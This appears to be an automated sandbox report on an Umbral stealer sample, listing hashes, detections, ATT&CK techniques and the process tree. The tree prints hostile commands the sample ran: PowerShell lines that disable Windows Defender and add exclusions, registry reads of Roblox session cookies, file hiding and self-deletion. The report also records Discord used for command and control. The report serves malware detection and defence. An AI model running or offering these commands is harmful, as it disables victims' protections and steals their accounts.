umbral | 330257ac72a4b7cb8d45cbb4d5f888bc6c69f139e7b0edf1cb64f2c733d846f7

General

Target

release5102024.exe
Size

234KB
MD5

0e686473973693d296760e2c8ea19dd8
SHA1

80bf5c75bebb592eb88322c3a4dda1f056b33b69
SHA256

330257ac72a4b7cb8d45cbb4d5f888bc6c69f139e7b0edf1cb64f2c733d846f7
SHA512

c06039e42a95c8ca0ec7fc8bfa5ac002208ffe69d49f7379ab272772496a1c08e165b7220748df52233ef7187c2204ecf2eecaa9a7aceeabd3b29bc32fe84e0f
SSDEEP

6144:XloZM+rIkd8g+EtXHkv/iD43WZwEbhS6FvAxDeebyAb8e1m9ii4:1oZtL+EP83WZwEbhS6FvAxDeeb7m

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2176-1-0x00000000003E0000-0x0000000000420000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2860 powershell.exe
Drops file in Drivers directory 1 IoCs

Processes:

release5102024.exe

description ioc process

File opened for modification C:\Windows\System32\drivers\etc\hosts release5102024.exe
Deletes itself 1 IoCs

Processes:

cmd.exe

pid process

2156 cmd.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

9 discord.com
10 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

6 ip-api.com
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

wmic.exe

pid process

888 wmic.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

620 PING.EXE
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

release5102024.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid process

2176 release5102024.exe
2860 powershell.exe
2624 powershell.exe
2528 powershell.exe
284 powershell.exe
1780 powershell.exe

pid	process
2860	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	release5102024.exe

pid	process
2156	cmd.exe

flow	ioc
9	discord.com
10	discord.com

flow	ioc
6	ip-api.com

pid	process
888	wmic.exe

pid	process
620	PING.EXE

pid	process
2176	release5102024.exe
2860	powershell.exe
2624	powershell.exe
2528	powershell.exe
284	powershell.exe
1780	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

release5102024.exewmic.exepowershell.exepowershell.exepowershell.exepowershell.exewmic.exe

description	pid	process
Token: SeDebugPrivilege	2176	release5102024.exe
Token: SeIncreaseQuotaPrivilege	2776	wmic.exe
Token: SeSecurityPrivilege	2776	wmic.exe
Token: SeTakeOwnershipPrivilege	2776	wmic.exe
Token: SeLoadDriverPrivilege	2776	wmic.exe
Token: SeSystemProfilePrivilege	2776	wmic.exe
Token: SeSystemtimePrivilege	2776	wmic.exe
Token: SeProfSingleProcessPrivilege	2776	wmic.exe
Token: SeIncBasePriorityPrivilege	2776	wmic.exe
Token: SeCreatePagefilePrivilege	2776	wmic.exe
Token: SeBackupPrivilege	2776	wmic.exe
Token: SeRestorePrivilege	2776	wmic.exe
Token: SeShutdownPrivilege	2776	wmic.exe
Token: SeDebugPrivilege	2776	wmic.exe
Token: SeSystemEnvironmentPrivilege	2776	wmic.exe
Token: SeRemoteShutdownPrivilege	2776	wmic.exe
Token: SeUndockPrivilege	2776	wmic.exe
Token: SeManageVolumePrivilege	2776	wmic.exe
Token: 33	2776	wmic.exe
Token: 34	2776	wmic.exe
Token: 35	2776	wmic.exe
Token: SeIncreaseQuotaPrivilege	2776	wmic.exe
Token: SeSecurityPrivilege	2776	wmic.exe
Token: SeTakeOwnershipPrivilege	2776	wmic.exe
Token: SeLoadDriverPrivilege	2776	wmic.exe
Token: SeSystemProfilePrivilege	2776	wmic.exe
Token: SeSystemtimePrivilege	2776	wmic.exe
Token: SeProfSingleProcessPrivilege	2776	wmic.exe
Token: SeIncBasePriorityPrivilege	2776	wmic.exe
Token: SeCreatePagefilePrivilege	2776	wmic.exe
Token: SeBackupPrivilege	2776	wmic.exe
Token: SeRestorePrivilege	2776	wmic.exe
Token: SeShutdownPrivilege	2776	wmic.exe
Token: SeDebugPrivilege	2776	wmic.exe
Token: SeSystemEnvironmentPrivilege	2776	wmic.exe
Token: SeRemoteShutdownPrivilege	2776	wmic.exe
Token: SeUndockPrivilege	2776	wmic.exe
Token: SeManageVolumePrivilege	2776	wmic.exe
Token: 33	2776	wmic.exe
Token: 34	2776	wmic.exe
Token: 35	2776	wmic.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	2528	powershell.exe
Token: SeDebugPrivilege	284	powershell.exe
Token: SeIncreaseQuotaPrivilege	2020	wmic.exe
Token: SeSecurityPrivilege	2020	wmic.exe
Token: SeTakeOwnershipPrivilege	2020	wmic.exe
Token: SeLoadDriverPrivilege	2020	wmic.exe
Token: SeSystemProfilePrivilege	2020	wmic.exe
Token: SeSystemtimePrivilege	2020	wmic.exe
Token: SeProfSingleProcessPrivilege	2020	wmic.exe
Token: SeIncBasePriorityPrivilege	2020	wmic.exe
Token: SeCreatePagefilePrivilege	2020	wmic.exe
Token: SeBackupPrivilege	2020	wmic.exe
Token: SeRestorePrivilege	2020	wmic.exe
Token: SeShutdownPrivilege	2020	wmic.exe
Token: SeDebugPrivilege	2020	wmic.exe
Token: SeSystemEnvironmentPrivilege	2020	wmic.exe
Token: SeRemoteShutdownPrivilege	2020	wmic.exe
Token: SeUndockPrivilege	2020	wmic.exe
Token: SeManageVolumePrivilege	2020	wmic.exe
Token: 33	2020	wmic.exe
Token: 34	2020	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

Processes:

release5102024.execmd.exe

description	pid	process	target process
PID 2176 wrote to memory of 2776	2176	release5102024.exe	wmic.exe
PID 2176 wrote to memory of 2776	2176	release5102024.exe	wmic.exe
PID 2176 wrote to memory of 2776	2176	release5102024.exe	wmic.exe
PID 2176 wrote to memory of 2732	2176	release5102024.exe	attrib.exe
PID 2176 wrote to memory of 2732	2176	release5102024.exe	attrib.exe
PID 2176 wrote to memory of 2732	2176	release5102024.exe	attrib.exe
PID 2176 wrote to memory of 2860	2176	release5102024.exe	powershell.exe
PID 2176 wrote to memory of 2860	2176	release5102024.exe	powershell.exe
PID 2176 wrote to memory of 2860	2176	release5102024.exe	powershell.exe
PID 2176 wrote to memory of 2624	2176	release5102024.exe	powershell.exe
PID 2176 wrote to memory of 2624	2176	release5102024.exe	powershell.exe
PID 2176 wrote to memory of 2624	2176	release5102024.exe	powershell.exe
PID 2176 wrote to memory of 2528	2176	release5102024.exe	powershell.exe
PID 2176 wrote to memory of 2528	2176	release5102024.exe	powershell.exe
PID 2176 wrote to memory of 2528	2176	release5102024.exe	powershell.exe
PID 2176 wrote to memory of 284	2176	release5102024.exe	powershell.exe
PID 2176 wrote to memory of 284	2176	release5102024.exe	powershell.exe
PID 2176 wrote to memory of 284	2176	release5102024.exe	powershell.exe
PID 2176 wrote to memory of 2020	2176	release5102024.exe	wmic.exe
PID 2176 wrote to memory of 2020	2176	release5102024.exe	wmic.exe
PID 2176 wrote to memory of 2020	2176	release5102024.exe	wmic.exe
PID 2176 wrote to memory of 1584	2176	release5102024.exe	wmic.exe
PID 2176 wrote to memory of 1584	2176	release5102024.exe	wmic.exe
PID 2176 wrote to memory of 1584	2176	release5102024.exe	wmic.exe
PID 2176 wrote to memory of 2000	2176	release5102024.exe	wmic.exe
PID 2176 wrote to memory of 2000	2176	release5102024.exe	wmic.exe
PID 2176 wrote to memory of 2000	2176	release5102024.exe	wmic.exe
PID 2176 wrote to memory of 1780	2176	release5102024.exe	powershell.exe
PID 2176 wrote to memory of 1780	2176	release5102024.exe	powershell.exe
PID 2176 wrote to memory of 1780	2176	release5102024.exe	powershell.exe
PID 2176 wrote to memory of 888	2176	release5102024.exe	wmic.exe
PID 2176 wrote to memory of 888	2176	release5102024.exe	wmic.exe
PID 2176 wrote to memory of 888	2176	release5102024.exe	wmic.exe
PID 2176 wrote to memory of 2156	2176	release5102024.exe	cmd.exe
PID 2176 wrote to memory of 2156	2176	release5102024.exe	cmd.exe
PID 2176 wrote to memory of 2156	2176	release5102024.exe	cmd.exe
PID 2156 wrote to memory of 620	2156	cmd.exe	PING.EXE
PID 2156 wrote to memory of 620	2156	cmd.exe	PING.EXE
PID 2156 wrote to memory of 620	2156	cmd.exe	PING.EXE

Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

2732 attrib.exe

pid	process
2732	attrib.exe

C:\Users\Admin\AppData\Local\Temp\release5102024.exe
"C:\Users\Admin\AppData\Local\Temp\release5102024.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2176
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2776
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\release5102024.exe"
  2⤵
  - Views/modifies file attributes
  PID:2732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\release5102024.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2624
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:284
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2020
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1584
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1780
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:888
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\release5102024.exe" && pause
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:620

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
33ca05928949eec905d0e2f25151c9c3

SHA1
b4561dd4ace1a093a22476deb947cf0a844eb818

SHA256
b327daba3757c0a7bd6b31a1d5a6292cf069774fcaba4398107c2c9a72da6957

SHA512
e68d72d5242ddc3fc6332c409c4b7a3e07b6ea2f15d739cc2681bb39b9e225ab0191760df1a084d46ffd6e8086d12f9263427391bec3a56bd2e398987eefdf7b

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/1780-43-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2176-0-0x000007FEF5713000-0x000007FEF5714000-memory.dmp

Filesize
4KB

Download
memory/2176-1-0x00000000003E0000-0x0000000000420000-memory.dmp

Filesize
256KB

Download
memory/2176-2-0x000007FEF5710000-0x000007FEF60FC000-memory.dmp

Filesize
9.9MB

Download
memory/2176-47-0x000007FEF5710000-0x000007FEF60FC000-memory.dmp

Filesize
9.9MB

Download
memory/2624-14-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/2624-15-0x00000000028F0000-0x00000000028F8000-memory.dmp

Filesize
32KB

Download
memory/2860-7-0x000000001B7E0000-0x000000001BAC2000-memory.dmp

Filesize
2.9MB

Download
memory/2860-8-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads